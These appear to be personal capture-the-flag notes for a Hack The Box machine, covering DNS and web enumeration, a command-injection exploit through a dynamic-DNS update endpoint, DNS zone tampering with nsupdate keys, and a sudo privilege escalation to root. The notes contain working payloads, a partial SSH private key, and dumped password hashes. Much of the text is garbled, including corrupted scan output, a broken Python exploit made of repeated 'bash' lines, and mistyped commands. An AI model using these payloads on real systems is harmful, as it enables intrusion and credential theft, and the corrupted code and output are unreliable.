

Creds

Username	Password	Description	
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Nmap

Port	Service	Description	
22	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)	
53	dns	ISC BIND 9.16.1 (Ubuntu Linux)	
80	HTTP	Apache httpd 2.4.41 ((Ubuntu))	

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```
## Noap 7.01 scan Initiated Sat Aug 28 16195124 2021 as: map -aC -aV -p- -vvv -oN map/Full 10.10.10.244

**Noap Scan report for 10.10.10.244

**Not show, received echo-realy til 83 (0.854s latency).

**Scanned at 201-08-28 10195135 EDT for 948

**Not shown: 65352 closed ports

**Resonn: 65352 closed ports

**PORT STATE SERVICE REAGON VERSION

**STATE SERVICE REAGON

**VERSION SCANDERS **SPRICE REAGON VERSION

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**STATE SERVICE REAGON

**VERSION SCANDERS **SPRICE REAGON

**VERSION SCANDERS **SPRICE REAGON

**VERSION SCANDERS **SPRICE REAGON

**PORT SCAN
```

masscan

```
kali@kali:-$ sudo masscan -pU:1-65535 $IP --rate=1000 -e tun0

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-28 20:59:05 GMT

Initiating SYN Stealth Scan

Scanning 1 hosts [65535 ports/host]

Discovered open port 53/udp on 10.10.10.244
```

Dns Enumeration

```
kali@kali:-$ dig axfr @$IP

; <<>> DiG 9.16.15-Debian <<>> axfr @10.10.10.244

; (1 server found)
```

```
global options: +cmd
;; Query time: 28 msec
;; WHEN: Sat Aug 28 17:04:20 EDT 2021
kali@kali:~$ dig axfr @$IP dynstr.htb
NS: dns1.dyna.htb.
Wildcard: failure
kali@kali:~$ dig ANY @$IP dyna.htb
:dvna.htb.
                   60 IN SOA dnsl.dyna.htb. hostmaster.dyna.htb. 2021030303 21600 3600 604800 60 60 IN NS dnsl.dyna.htb.
dyna.htb.
;; ADDITIONAL SECTION:
60 IN A 127.0.0.1
;; ANSWER SECTION:
;; ANSWER SECTION:
                                             dnsl.dyna.htb.
;; QUESTION SECTION:
dnsl.dvna.htb.
```

Web Enumeration





- dnsalias.htb
- dynamicdns.htb
- no-ip.htb
- Username: dynadns
- Password: sndanyd
- dynadns:sndany

Find Us

London Office,
London.
F: +42 0010-1010
E: dns@dyna.htb

dns@dyna.htb

/etc/hosts

10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb

gobuster dns -d http://dynamicdns.htb -r SIP -w /usr/share/seclists/Discovery/DNS/subdomains-topImillion=110000.txt -o buster/DNS.l no results saving for later incasewant to try again.

gobuster

ouster dir -u http://no-ip.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o buster/root.lo

- /assets/
- /nic/update

no-ip.com api request no-ip.com api responses

Burpsuite

GET /nic/update?hostname=mytest.no-ip.htb&myip=10.10.14.176 HTTP/1.1

Host: no-ip.htb

Authorization: Basic ZHluYWRuczpzbmRhbnlk

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Accept: text/html.application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

Exploit

```
GET /nic/update?hostname=";echo+'IyEvYmluL2Jhc2gKcGluZyAtYyAxIDEwLjEwLjE0LjE3Ngo%3d'|base64+-d|bash;"exploit.no-ip.htb&myip=10.10.14.176 HTTP/1.1
Host: no-ip.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Encoding: gzip, deflate
Accept-Inguage: en-US,en;q=0.9
Connection: close
```

Response

```
HTTP/1.1 200 OK
Date: Tue, 31 Aug 2021 00:21:57 GHT
Server: Abache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Connection: close
Connection: close
Connection: close
Content-Type: test/html; charset=UTF-8

server 127.0.0.1
20ne no-1p.htb
update delete
PINC 19.10.14.176 [10.10.14.176] 56(84) bytes of data.
64 bytes from 10.10.14.176 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 30.042/30.042/30.042/30.000 ms
PINC 10.10.14.176 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 30.042/30.042/30.042/30.000 ms
PINC 10.10.14.176 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 30.042/30.042/30.042/30.000 ms
PINC 10.10.14.176 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 28.391/28.391/28.391/28.391/3.000 ms
good 10.10.14.176
```

python3 exploit

```
import base64
import requests
import urllib.parse

IP="10.10.14.176"
PPRT="9801"

SMELL = f"#!/bin/bash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash\nbash
```

/etc/passwd

```
www-data@dynstr:/var/www/html/nic$ cat /etc/passwd | grep /bin/bash
roottx:0:0:root:/root:/bin/bash
dyna:x:1800:1800:dyna:,,:/home/dyna:/bin/bash
bindmgr:x:1801:1801:1901::/home/bindmgr:/bin/bash
```

- dyna
- bindmgr

linpeas

C62796521-debugging.script

Appears to be someone sshing into a box. but failing, but ssh key is in the file.

private key

```
read(5, "-----BEGIN OPENSH PRIVATE KEY-----
\nb3BlbnNzsC1rZXktdjEAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klab37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l8Dwx3zx7kQFiPeQJwiOMBu/g8lV3\
-----END OPENSH PRIVATE KEY-----\n", 4096) = 1823
```

but i can't just log in.... so i probably need to be in a different zone.

ok, so from our first exploit i saw what was being used to update the dns server and how it is done. (removed exploit)

```
"server 127.0.0.1 zone no-ip.htb update delete exploit.no-ip.htb update add exploit.no-ip.htb 30 IN A 10.10.14.176 send" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key
```

and after playing with it i figured out how to update the infrastructure zone with the infra.key

```
www-data@dynstr:/dev/shm% nsupdate -t 1 -k /etc/bind/infra.key
> update delete exploit.infra.dyna.htb 86400 A 10.10.14.176
> send
> quit

www-data@dynstr:/dev/shm% nsupdate -t 1 -k /etc/bind/infra.key
> update add 176.14.10.10.in-addr.arpa 300 PTR exploit.infra.dyna.htb
> send
> quit
```

or my 1 liner

sh -c echo "server 127.0.0.1 zone infra.dyna.htb update delete exploit.infra.dyna.htb A 10.10.14.176 update add exploit.infra.dyna.htb 86400 A 10.10.14.176 update add 176.14.10.10.in-addr.arpa 300 PTR exploit.infra.dyna.htb send " | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key

Dig - to verify

```
kali@kali:-/www$ dig ANY @$IP exploit.infra.dyna.htb
...[snip]...
;; ANSWER SECTION:
exploit.infra.dyna.htb. 86488 IN A 10.10.14.176
```

Bindmgr

authorized_keys

```
bindmgr@dynstr:-/.ssh$ cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa

AAAABNaciycZEAAAADAQABAAABAQDF4pkc7L5EaGz6Ccw5Cx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhS1MAuMIfdg9W6+6EXTIg+8kNGyx2138PZU8mpL5MP/g21DKcV5Sukhbi
bindmgr@nomen
```

from shows which domains can access from

Linpeas.sh

```
Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d

L https://book.hacktricks.xyz/linux-unix/privilege-escalation=sudo-and-suid

Matching Defaults entries for bindmgr on dynstr:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/sbin\:/snap/bin

User bindmgr may run the following commands on dynstr:

(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
```

```
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR DIR=/etc/bind/named.bindmgr
   printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
    echo "[+] Restart of bind9 via systemctl succeeded."
```

- This script generates named.conf.bindmgr file in /etc/bind and will include all files from /etc/bin/named.bindmgr
- 1. Checks for versioning with a (.version) file
 - if no version exit
 - if version less than or equal to current exit
- 2. Create config file that includes all files from named.bindmgr.
 - for every file in working directory print "include /etc/bind/named.bindmgr/filename' into named.conf.bindmgr
- 3. Stage new version of configuration files.
 - copy the .version and all other files (*) to /etc/bind/named.bindmgr/
- cp .version * /etc/bind/named.bindmgr/
- 4. Check generated configuration with named-checkconf.
 - if named-checkconf errors or outputs 0 then eror
- else restart bind9

Exploit

```
1. echo 1 > .version
2. cp /bin/bash
3. chnod *s bash
4. echo "" > "--preserve=mode"
5. sudo /usr/local/bin/bindmgr.si
6. /esc/bind/named.bindmer/bash
```

id

```
bash-5.0# id
uid=1801(bindmgr) gid=1801(bindmgr) euid=8(root) egid=117(bind) groups=117(bind),1801(bindmgr)
bash-5.0# whoami
root
```

uname

```
bash-5.0% uname -a
Linux dynstr.dyna.htb 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 GNU/Linux
```

root.txt

bash-5.0# cat user.txt 070122c4c585fb72ffefcb53fa460238

/etc/shadow

```
bash-5.0# cat /etc/shadow
root:$6$knCJjR0E8SuLyIS.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5Y09cclorPryKq489j2JqN2620ws/aRZvFkQlR9uQyqoVWeS8ED1:18705:0:99999:7:::
...[snip]...

dyna:$6$hiaXtKAlnSGLdd7X$XdibCf6o9t48IurOmJ0Ip6CsRFwy8pDWTCsFI/DrE2hNbWRSouBZxlAEeoQlfSzLnN390ieXQajwNGDd79Sp./:18705:0:99999:7:::
...[snip]...

bindmgr:$6$$Y090mFn9eZFhOVP$QdBBPBiiEGRSIZIE6nAhYIFNeo76Dro0.noSn0Tmvh3j./c3xlcprwtmmeConQ4NtltncDZP3lreBQTwXjFP8/:18772:0:99999:7:::
```

nice writeup i found